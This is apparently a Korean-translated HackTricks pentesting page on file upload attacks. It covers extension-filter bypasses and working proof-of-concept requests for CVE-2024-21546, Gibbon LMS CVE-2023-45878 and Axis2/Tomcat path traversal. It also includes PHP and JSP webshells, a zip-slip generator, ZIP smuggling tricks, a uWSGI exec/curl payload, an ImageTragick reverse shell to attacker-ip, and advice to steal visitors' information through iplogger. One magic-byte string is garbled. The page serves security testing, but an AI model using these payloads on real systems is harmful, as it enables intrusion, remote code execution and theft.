파일 업로드
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
파일 업로드 일반 방법론
다른 유용한 확장자:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
파일 확장자 검사 우회
- 적용된다면, 위의 확장자들을 확인하세요. 또한 대문자로도 테스트해보세요: pHp, .pHP5, .PhAr …
- 실행 확장자 앞에 유효한 확장자 추가를 확인하세요 (이전 확장자들도 사용해 보세요):
- file.png.php
- file.png.Php5
- 끝에 특수 문자를 추가해 보세요. Burp로 모든 ascii 및 Unicode 문자를 bruteforce 할 수 있습니다. (이전에 언급한 확장자들도 함께 시도할 수 있습니다)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- 확장자 파서를 속여 보호를 우회해 보세요. 예를 들어 확장자를 중복시키거나 확장자 사이에 junk 데이터(null bytes)를 넣는 기법을 사용합니다. 더 좋은 페이로드를 위해 이전 확장자들도 활용하세요.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- 이전 검사에 추가 레이어의 확장자를 더해보세요:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 실행 확장자를 유효 확장자 앞에 두고 업로드해 보세요. 서버가 잘못 구성된 경우 실행될 수 있습니다. (Apache의 잘못된 설정에서는 확장자가
.php를 포함하면 반드시.php로 끝나지 않더라도 코드가 실행될 수 있음)
- ex: file.php.png
- Windows의 NTFS alternate data stream (ADS) 사용을 시도해 보세요. 이 경우 금지된 확장자 뒤와 허용된 확장자 사이에 콜론 “:“이 삽입됩니다. 결과적으로 서버에는 금지된 확장자를 가진 빈 파일이 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 이후 short filename 같은 다른 기법으로 편집될 수 있습니다. “::$data” 패턴을 사용하면 비어있지 않은 파일을 만들 수도 있습니다. 따라서 이 패턴 뒤에 점(.) 문자를 추가하면 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
- 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘려나가고 악성 PHP가 남을 수 있습니다. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
일부 업로드 핸들러는 저장된 파일명에서 후행 점 문자를 잘라내거나 정규화합니다. UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) 버전 2.9.1 이전에서는 다음 방법으로 확장자 검증을 우회할 수 있습니다:
- 유효한 이미지 MIME과 magic header 사용 (예: PNG의
\x89PNG\r\n\x1a\n). - 업로드 파일명을 PHP 확장자 다음에 점을 붙여 이름 짓기, 예:
shell.php.. - 서버가 후행 점을 제거하고
shell.php로 저장하며, 웹으로 서비스되는 디렉터리(기본 public storage 예: /storage/files/)에 위치하면 실행될 수 있습니다.
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
그런 다음 저장된 경로를 호출하세요 (일반적으로 Laravel + LFM에서):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\or you could also introduce the payload directly in an image:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won’t be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
- Github with the code
- The web page cold also be resizing the image, using for example the PHP-GD functions
imagecopyresizedorimagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression. - Github with the code
- Another technique to make a payload that survives an image resizing, using the PHP-GD function
thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression. - Github with the code
Other Tricks to check
- Find a vulnerability to rename the file already uploaded (to change the extension).
- Find a Local File Inclusion vulnerability to execute the backdoor.
- Possible Information disclosure:
- Upload several times (and at the same time) the same file with the same name
- Upload a file with the name of a file or folder that already exists
- Uploading a file with “.” , “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called uploads” in the “/www/” directory.
- Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
- Upload a file in Windows with invalid characters such as
|<>*?”in its name. (Windows) - Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.
Special extension tricks
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)
The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
Jetty RCE
If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!
.png)
uWSGI RCE
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.
Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
payload의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(충돌 후나 Denial of Service 공격으로 인해 발생할 수 있음), 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화되어 있으면 변경을 감지했을 때 지정된 간격으로 파일을 다시 로드합니다.
uWSGI의 구성 파일 파싱이 매우 느슨하다는 점을 이해하는 것이 중요합니다. 특히 여기서 논의된 payload는 이미지나 PDF 같은 바이너리 파일 안에 삽입될 수 있어 잠재적 악용 범위가 더욱 넓어집니다.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Gibbon LMS의 인증되지 않은 endpoint는 웹 루트 내에 arbitrary file write를 허용하여 PHP 파일을 drop함으로써 pre-auth RCE로 이어집니다. 취약한 버전: 25.0.01까지(포함).
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Required params:
img: data-URI-like string:[mime];[name],[base64](서버는 type/name을 무시하고 꼬리 부분을 base64로 디코딩합니다)path: destination filename relative to Gibbon install dir (예:poc.php또는0xdf.php)gibbonPersonID: 비어 있지 않은 아무 값이나 허용(예:0000000001)
파일을 쓰고 다시 읽어오기 위한 Minimal PoC:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
최소한의 webshell을 업로드하여 명령을 실행:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
노트:
- 핸들러는
base64_decode($_POST["img"])를;및,로 분할한 후 실행하고, 확장자/타입을 검증하지 않고 바이트를$absolutePath . '/' . $_POST['path']에 작성합니다. - 결과적으로 해당 코드는 웹 서비스 사용자로 실행됩니다(예: Windows의 XAMPP Apache).
이 버그에 대한 참조에는 usd HeroLab advisory와 NVD 항목이 포함됩니다. 아래 References 섹션을 참조하세요.
wget File Upload/SSRF Trick
일부 경우 서버가 **wget**을 사용해 파일을 다운로드하도록 하고, 당신이 URL을 지정할 수 있는 상황을 발견할 수 있습니다. 이 경우, 코드가 다운로드되는 파일의 확장자가 whitelist에 포함되어 있는지 검사하여 허용된 파일만 다운로드되도록 확인할 수 있습니다. 하지만, 이 검사는 우회될 수 있습니다.
linux에서 파일 이름의 최대 길이는 255이지만, wget은 파일 이름을 236자로 잘라냅니다. 예를 들어 **“A”*232+“.php”+“.gif”**라는 파일을 다운로드하면, 이 파일명은 체크를 우회합니다(이 예에서 **“.gif”**는 유효한 확장자입니다). 그러나 wget은 파일명을 **“A”*232+“.php”**로 이름 변경합니다.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won’t work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
Escaping upload directory via NTFS junctions (Windows)
(For this attack you will need local access to the Windows machine) When uploads are stored under per-user subfolders on Windows (e.g., C:\Windows\Tasks\Uploads<id>) and you control creation/deletion of that subfolder, you can replace it with a directory junction pointing to a sensitive location (e.g., the webroot). Subsequent uploads will be written into the target path, enabling code execution if the target interprets server‑side code.
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
참고
- mklink /J creates an NTFS directory junction (reparse point). 웹 서버의 계정은 junction을 따라가 대상에 쓰기 권한이 있어야 합니다.
- This redirects arbitrary file writes; 대상이 스크립트(PHP/ASP)를 실행하면 RCE가 됩니다.
- 방어: C:\Windows\Tasks 같은 위치 아래에서 writable upload roots가 공격자에게 제어되지 않도록 하십시오; junction 생성 차단; 서버‑사이드에서 확장자 검증; 업로드를 별도 볼륨에 저장하거나 deny‑execute ACLs로 보호.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
일부 upload/ingest handlers는 raw request body를 user-controlled query parameters로 구성된 filesystem path에 그대로 기록합니다. 핸들러가 Content-Encoding: gzip을 지원하고 destination path를 canonicalize/validate하지 못하면, directory traversal과 gzipped payload를 조합해 web-served directory에 임의의 바이트를 기록하여 RCE를 얻을 수 있습니다(예: Tomcat의 webapps 아래에 JSP를 drop).
일반적인 익스플로잇 흐름:
- 서버 측 payload(예: 최소한의 JSP webshell)를 준비하고 바이트를 gzip-compress합니다.
- path parameter(예: token)에 의도한 폴더를 탈출하는 traversal이 포함되고 file이 유지할 파일명을 나타내는 POST를 전송합니다. Content-Type: application/octet-stream 및 Content-Encoding: gzip으로 설정하고, body는 압축된 payload입니다.
- 작성된 파일에 접속하여 실행을 유도합니다.
Illustrative request:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
그런 다음 트리거:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notes
- 대상 경로는 설치 환경에 따라 다릅니다 (예: /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). JSP를 실행하는 모든 웹 노출 폴더가 작동합니다.
- Burp Suite’s Hackvertor extension은 페이로드로부터 올바른 gzip body를 생성할 수 있습니다.
- 이는 순수한 pre-auth arbitrary file write → RCE 패턴입니다; multipart parsing에 의존하지 않습니다.
Mitigations
- 업로드 목적지는 server-side에서 결정하십시오; 클라이언트로부터 받은 경로 조각을 절대 신뢰하지 마십시오.
- 해결된 경로가 allow-listed 기본 디렉터리 내에 머물도록 정규화(canonicalize)하고 강제하십시오.
- 업로드를 non-executable 볼륨에 저장하고, 쓰기 가능한 경로에서의 스크립트 실행을 차단하십시오.
Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)
Axis2 기반의 upload 서비스는 때때로 uploadFile SOAP 액션을 노출하며, 이 액션은 공격자가 제어하는 세 개의 필드를 받습니다: jobDirectory (destination directory), archiveName (filename), 및 dataHandler (base64 file content). jobDirectory가 정규화되지 않으면 path traversal을 통해 arbitrary file write가 가능하며 Tomcat의 webapps에 JSP를 배치할 수 있습니다.
Minimal request outline (default creds often work: admin / trubiquity):
POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
- 바인딩은 종종 localhost 전용입니다; Axis2 포트가 노출되어 있지 않다면
127.0.0.1에 도달하기 위해 full-read SSRF (absolute-URL request line, Host header ignored)와 조합하세요. - 작성 후
/trufusionPortal/jsp/shell.jsp?cmd=id로 접속하여 실행하세요.
Tools
- Upload Bypass 는 파일 업로드 메커니즘을 테스트하는 Pentesters와 Bug Hunters를 돕기 위해 설계된 강력한 도구입니다. 다양한 bug bounty techniques를 활용하여 취약점 식별 및 악용 과정을 단순화하고, 웹 애플리케이션에 대한 철저한 평가를 보장합니다.
Corrupting upload indices with snprintf quirks (historical)
일부 레거시 업로드 핸들러는 snprintf() 또는 유사한 함수를 사용하여 단일 파일 업로드로부터 multi-file 배열을 구성합니다. 이러한 경우 snprintf()의 불일치 및 잘림(truncation) 동작을 이용하면 _FILES 구조를 위조하도록 속일 수 있습니다. snprintf()의 동작이 일관되지 않아 정교하게 구성된 단일 업로드가 서버 쪽에서는 여러 인덱스된 파일처럼 보일 수 있으며, 엄격한 구조를 가정하는 로직(예: multi-file upload로 처리하고 안전하지 않은 분기를 타는 경우)을 혼란시킬 수 있습니다. 오늘날에는 드물지만 이 “index corruption” 패턴은 가끔 CTF나 오래된 코드베이스에서 다시 출현합니다.
From File upload to other vulnerabilities
- Set filename to
../../../tmp/lol.pngand try to achieve a path traversal - Set filename to
sleep(10)-- -.jpgand you may be able to achieve a SQL injection - Set filename to
<svg onload=alert(document.domain)>to achieve a XSS - Set filename to
; sleep 10;to test some command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- 만약 웹 서버에 이미지를 URL에서 가져오도록 지시할 수 있다면, SSRF를 악용해볼 수 있습니다. 이 image가 어떤 public 사이트에 저장될 예정이라면, https://iplogger.org/invisible/의 URL을 지정해 모든 방문자의 정보를 훔칠 수도 있습니다.
- XXE and CORS bypass with PDF-Adobe upload
- PDF를 이용한 XSS: 다음 페이지는 JS 실행을 얻기 위해 PDF 데이터를 주입하는 방법을 제시합니다. PDF 업로드가 가능하다면, 제시된 지침에 따라 임의의 JS를 실행하는 PDF를 준비할 수 있습니다.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- 파일 업로드 시 **크기 제한(size limit)**이 있는지 확인하세요
다음은 업로드를 통해 달성할 수 있는 상위 10가지 항목입니다 (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
다른 파일 타입은 https://en.wikipedia.org/wiki/List_of_file_signatures를 참고하세요.
Zip/Tar File Automatically decompressed Upload
만약 서버 내부에서 압축 해제되는 ZIP을 업로드할 수 있다면, 다음 두 가지를 시도할 수 있습니다:
Symlink
다른 파일로 대한 soft link를 포함하는 링크를 업로드한 다음, 압축 해제된 파일들에 접근하면 링크된 파일들에 접근하게 됩니다:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
다른 폴더에 압축 해제
압축 해제 중 디렉터리에 파일이 예상치 못하게 생성되는 것은 심각한 문제입니다. 이 설정이 악성 파일 업로드를 통한 OS-level 명령 실행으로부터 보호할 것이라는 초기 가정과는 달리, ZIP 아카이브 포맷의 계층적 압축 지원 및 directory traversal 기능은 악용될 수 있습니다. 이로 인해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제한을 우회하고 보안 업로드 디렉터리에서 탈출할 수 있습니다.
이러한 파일을 생성하기 위한 자동화된 exploit는 evilarc on GitHub에서 사용할 수 있습니다. 이 유틸리티는 다음과 같이 사용할 수 있습니다:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
또한, symlink trick with evilarc도 하나의 옵션입니다. 목표가 /flag.txt 같은 파일을 표적으로 삼는 것이라면, 해당 파일에 대한 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 동작 중에 오류를 겪지 않습니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드의 예입니다:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
압축을 악용한 file spraying
자세한 내용은 원문 게시물 확인: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP 코드는
$_REQUEST변수를 통해 전달된 명령을 실행하도록 작성됩니다.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: 여러 파일을 생성하고 이 파일들을 포함하는 zip 아카이브를 만듭니다.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: zip 내부의 파일 이름을 vi 또는 Hex Editor로 변경하여 “xxA“를 “../“로 바꿔 디렉터리 트래버설을 수행합니다.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
백엔드가 ZIP 항목을 PHP의 ZipArchive로 검증하지만 추출 시 raw 이름을 사용해 filesystem에 쓸 경우, filename 필드에 NUL (0x00)을 삽입하여 허용되지 않은 확장자를 교묘히 숨길 수 있습니다. ZipArchive는 항목 이름을 C‑string으로 취급해 첫 번째 NUL에서 잘라내고; filesystem은 전체 이름을 써서 NUL 이후 부분을 버립니다.
High-level flow:
- 정상적인 컨테이너 파일(예: 유효한 PDF)을 준비하고, magic/MIME이 PDF로 유지되도록 스트림에 작은 PHP 스텁을 임베드합니다.
- 파일 이름을
shell.php..pdf같이 지은 뒤 zip하고, ZIP local header와 central directory의 filename을 hex‑edit하여.php뒤의 첫 번째.을0x00으로 바꿔shell.php\x00.pdf로 만듭니다. - ZipArchive에 의존하는 검증기는 “
shell.php .pdf”로 보고 허용하며; 추출기는shell.php를 디스크에 써서 업로드 폴더가 실행 가능할 경우 RCE로 이어집니다.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
참고사항
- 파일명 두 곳 모두 변경하세요 (local and central directory). 일부 도구는 추가 data descriptor 엔트리를 더할 수 있으므로, 존재하면 모든 name 필드를 조정하세요.
- payload 파일은 여전히 server‑side magic/MIME sniffing을 통과해야 합니다. PHP를 PDF 스트림에 임베드하면 헤더를 유효하게 유지할 수 있습니다.
- enum/validation 경로와 extraction/write 경로가 문자열 처리에서 다르게 동작하는 경우에 작동합니다.
Stacked/concatenated ZIPs (parser disagreement)
두 개의 유효한 ZIP 파일을 이어붙이면 서로 다른 parsers가 서로 다른 EOCD 레코드에 주목하는 blob이 생성됩니다. 많은 도구는 마지막 End Of Central Directory (EOCD)를 찾는 반면, 일부 라이브러리(예: 특정 워크플로우에서의 ZipArchive)는 발견한 첫 번째 아카이브를 parse할 수 있습니다. 만약 validation이 첫 번째 아카이브를 enumerate하고 extraction이 마지막 EOCD를 존중하는 다른 도구를 사용한다면, 정상적인 아카이브는 검사를 통과하지만 악성 아카이브가 추출될 수 있습니다.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
악용 패턴
- 허용된 형식(예: PDF)의 정상 아카이브 하나와, 차단된 확장자(예:
shell.php)를 포함한 두 번째 아카이브를 만듭니다. - 이를 이어붙입니다:
cat benign.zip evil.zip > combined.zip. - 서버가 한 파서로는 검증(
benign.zip을 확인)하지만 다른 파서로는 압축을 해제(evil.zip을 처리)하면, 차단된 파일이 압축 해제 경로에 놓이게 됩니다.
ImageTragic
이 콘텐츠를 이미지 확장자로 업로드하여 취약점 (ImageMagick , 7.0.1-1) 을 악용합니다 (exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Embedding PHP Shell on PNG
